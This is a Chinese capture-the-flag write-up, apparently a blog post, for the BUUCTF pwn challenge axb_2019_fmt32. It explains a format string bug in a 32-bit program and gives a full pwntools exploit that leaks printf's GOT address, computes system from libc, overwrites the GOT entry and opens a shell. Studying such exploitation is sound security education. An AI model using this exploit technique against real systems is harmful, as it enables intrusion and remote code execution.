zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——axb_2019_fmt32

    axb_2019_fmt32

    附件

    步骤:

    1. 例行检查,32位程序,开启了nx保护
      在这里插入图片描述
    2. 本地试运行一下程序,看看大概的情况
      在这里插入图片描述
    3. 32位ida载入
      在这里插入图片描述
      alarm(),是闹钟函数,主要功能是设置信号传送闹钟,即用来设置信号SIGALRM在经过参数seconds秒数后发送给目前的进程。如果未设置信号SIGALARM的处理函数,那么alarm()默认处理终止进程
      25行,明显的格式化字符串漏洞

    这题没有后门函数,也没有系统函数,要用格式化字符串泄露出某个libc函数,来获得libc基址

    s 和 format 两个参数,都没有溢出,,也没有函数能写进got表,,所以还是再次利用格式化字符串漏洞通过%n来写入数据

    利用过程:

    1. 首先找一下我们输入的参数在栈上的相对位置,如图,补了一个字母‘B’之后偏移为8
      在这里插入图片描述找到偏移量后可以来泄露libc版本了
    payload = 'A' + p32(printf_got)+ 'B' + '%8$s'
    #‘A’  是用来补位的,这样后面的printf函数的got表地址就会在栈上相对距离为8的位置
    #‘B’  相当于标记位,下面在接收数据的时候,接收到字符‘B’,后面跟着的就是我们泄露出来的函数地址  
    #%8$s  利用格式化字符串漏洞的%8$s去泄露出栈上相对距离为8的地址上的值
    

    关于格式化字符串漏洞的原理,利用,格式化字符,看该文章
    在这里插入图片描述
    2. 在得到libc基址后,就可以算出程序里的system函数地址了

    payload = 'A' + p32(printf_got)+ 'B' + '%8$s'
    r.sendafter("Please tell me:",payload)
    
    r.recvuntil('B')
    printf_addr = u32(sh.recv(4))
    print(hex(printf_addr))
    
    libc = LibcSearcher('printf', printf_addr)
    libcbase = printf_addr - libc.dump('printf')
    system_addr = libcbase + libc.dump('system')
    
    1. 我们接下来要做的就是把利用fmtstr_payload,将printf的地址改为了system的地址,这边用的pwntools的工具,我简单解释一下,关于工具的具体情况,看这篇文章
    fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
    第一个参数表示格式化字符串的偏移
    第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
    第三个参数表示已经输出的字符个数
    第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
    
    
    payload='a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
    

    0xa=1(payload前面的a)+9(repeater:的长度)在这里插入图片描述
    之后传入 ‘/bin/sh’ 即可以获取shell

    完整exp

    from pwn import *
    from LibcSearcher import *
    
    context(os='linux',arch='i386',log_level='debug')
    
    #r = process("./axb_2019_fmt32")
    r = remote("node3.buuoj.cn","27499")
    elf=ELF("./axb_2019_fmt32")
    
    printf_got = elf.got['printf']
    
    payload = 'a' + p32(printf_got) +'22'+ '%8$s'
    r.sendafter('me:', payload)
    r.recvuntil("22")
    printf_addr = u32(r.recv(4))
    print "printf_addr"+hex(printf_addr)
    
    libc=LibcSearcher('printf',printf_addr)
    
    libc_base=printf_addr-libc.dump('printf')
    system=libc_base+libc.dump('system')
    print "system_addr"+hex(system)
    
    payload='a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
    #p.recvuntil(':')
    r.sendline(payload)
    
    r.sendline(';/bin/shx00')
    r.interactive()
    

    libc选13
    在这里插入图片描述
    参考wp:https://www.yuque.com/u239977/cbzkn3/nu76pp

    百度过程中发现原题是道盲打,贴一下盲打的链接,本人太菜,没太搞明白
    https://www.anquanke.com/post/id/196722#h3-4

  • 相关阅读:
    SqlServer数据库正在还原的解决办法
    v-表单自动收集信息
    v-按键修饰符
    v-for列表排序
    class与style的绑定
    v计算属性的应用
    v子向父组件传值
    v传值和传引用
    v-父组件向子组件传值
    练习鼠标悬停切换图片页面
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273650.html
Copyright © 2011-2022 走看看